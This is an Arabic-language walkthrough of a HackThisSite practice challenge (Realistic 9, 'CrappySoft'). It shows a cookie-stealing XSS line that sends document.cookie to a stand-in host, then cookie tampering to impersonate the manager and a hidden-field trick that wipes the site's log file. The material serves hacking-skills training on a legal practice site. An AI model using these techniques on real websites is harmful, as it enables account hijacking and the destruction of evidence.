المرحلة: Realistic:9 (CrappySoft Software)

الصعوبة: معتدلة

الرابط: https://www.hackthissite.org/playlevel/9/

المهمة: رئيس شركة CrappySoft توقف عن إعطاء المرتبات لموظفيه، ساعدهم ليحصلوا على ما يستحقون.

الرسالة: مرحبا، أحتاج إلى مساعدتك. رئيس الشركة التي أعمل بها توقف عن إعطائي المرتبات! هل تستطيع مساعدتي للحصول على مرتبي؟ تستطيع الوصول إلى موقعهم من هنا. الشركة تملك نظام على موقعهم لدفع المرتبات، ولكن رئيس الشركة هو فقط من يستطيع استخدامه.

ليست لدي معلومات عن حسابه، ولكن هذا هو حسابي في الموقع:

اسم المستخدم: r-conner@crappysoft.com

كلمة المرور: ilovemywork

 

اذهب الآن وحاول أن تحل المشكلة.


 

التلميح الأول:
أذهب إلى صفحة الدفع ولاحظ الـ cookie.

 

التلميح الثاني:
لماذا لا تسرق الـ cookie من المدير؟ برسالة ربما.

 

التلميح الثالث:
لا تنسى تغطية آثارك بعد الإنتهاء من دفع المرتبات.

 

التلميح الرابع:
أبحث أين تُحفظ سجلات الموقع، ومن ثم فكر كيف “تمسحها”..

 

الحل:

دعونا أولا نجرب نظام الدفع الآلي لديهم. سجل الدخول بالمعلومات المُعطاه في الرسالة ومن ثم حاول دفع الرواتب من خلال الضغط على Pay Salaries

سترى رسالة تقول أنك لست المدير.

لنرجع خطوة إلى الوراء، كيف يعرف الموقع أنك الشخص أ ولست الشخص ب مثلا؟ هناك عدة طرق من أشهرها استخدام الـ cookie.

إذن لنحاول رؤية مالذي تحتويه cookie هذا الموقع. هناك العديد من الأدوات، سأستخدم FireCookie.

hackthissite - realistec - 9 - 1

إذن نحتاج إلى كلمة المرور واسم المستخدم. هناك العديد من الطرق للحصول عليهم، أحدها هو XSS. لاحظ أنك تستطيع إرسال رسالة خاصة إلى المدير! فلماذا لا تُرسل له رسالة للحصول على الـ cookie الخاص به. المشكلة في هذه الطريقة أنك بحاجة إلى موقع على الإنترنت لترسل إليها الـ cookie. لكنا سنجرب ونضع موقع غير صحيح. الـرسالة التي سنرسلها ستكون كما يلي:


javascript:void(window.location='http://www.mywebsite.com/stealcookies.php?var='+document.cookie);

هذا السطر سيستخدم الجافا سكريبت لإرسال الـ cookie الخاصة بالمدير إلى الرابط http://www.mywebsite.com/stealcookies.php

من خلال استخدام GET method

عندما تُرسل الرسالة سيخبرك الموقع أن XSS ليست الهدف من هذا التحدي، لهذا سيعطيك البيانات مباشرة. هذا سيسهل علينا كثيرا.
الآن تملك اسم المستخدم، وكلمة المرور للمدير. نذهب الآن لنعدل على الـ cookie الخاصة بنا باستخدام نفس الأداة التي استخدمناها سابقا (Fire Cookie)

hackthissite - realistec - 9 - 2

نذهب الآن إلى صفحة Pay Salaries ونقوم بدفع الراتب لصديقنا.

حين تقوم بدفع الراتب، سيظهر لك تلميح جديد. يقول لك:

شكرا لإنك دفعت لي الراتب، أنا أدين لك. لا تنسى أن تمحو السجلات من خلال نظام الـ subscribing.

ماذا يقصد؟

لنذهب إلى Mailing List  والتي تحتوي على نظام الـ subscribing ونقرأ ما كُتب هناك.

يقول: حين تقوم بإدخال أي مدخل، يقوم الموقع بكتابته أولا في الملف ثم يقوم بعدها بالتأكد من كل القائمة البريدية للتأكد إذا كان هناك أي مدخل بدون @ ليقوم بمسحه!

إذن لو استطعنا أن نجد الملف الذي تُحفظ فيه السجلات ومن ثم قمنا بتمريره هنا، سيقوم بمسح كل السطور لإنها لن تحتوي على @ وهذا بالضبط ما نريد.

بالضغط على Inspect Element لأيقونة “Subscribe”، سنجد أن هناك أيقونة مخفية تحتوي على “./files/mailinglist/addresses.txt” كقيمة لها!

hackthissite - realistec - 9 - 3

لنجرب الدخول على الملف files من خلال الرابط:

https://www.hackthissite.org/missions/realistic/9/files/

ستجد قائمة بجميع ما في المجلد، أدخل على logs ومن ثم logs.txt

هذا هو الملف الذي نريد.

نرجع الآن إلى Mailing List ونقوم بتغيير قيمة الأيقونة المخفية إلى: “./files/logs/logs.txt” لتقوم بمسح الملف الذي نريد.

hackthissite - realistec - 9 - 4

قم الآن بإدخال ما تريد في خانة الإيميل، واضغط على: Subscribe!

تم الحل والحمد لله.

ملحق:

ما هو الـ cookie.

الـ cookie هو عبارة عن مجموعة من المعلومات تُحفظ في متصفح المستخدمين ليتمكن الموقع من معرفة من الذي يتحدث معه.

ما رابط تحميل Fire Cookie

Fire Cookie موجودة داخل Firebug في فايرفوكس. هذا هو الرابط:

https://addons.mozilla.org/en-US/firefox/collections/jbalogh/firebug_addons/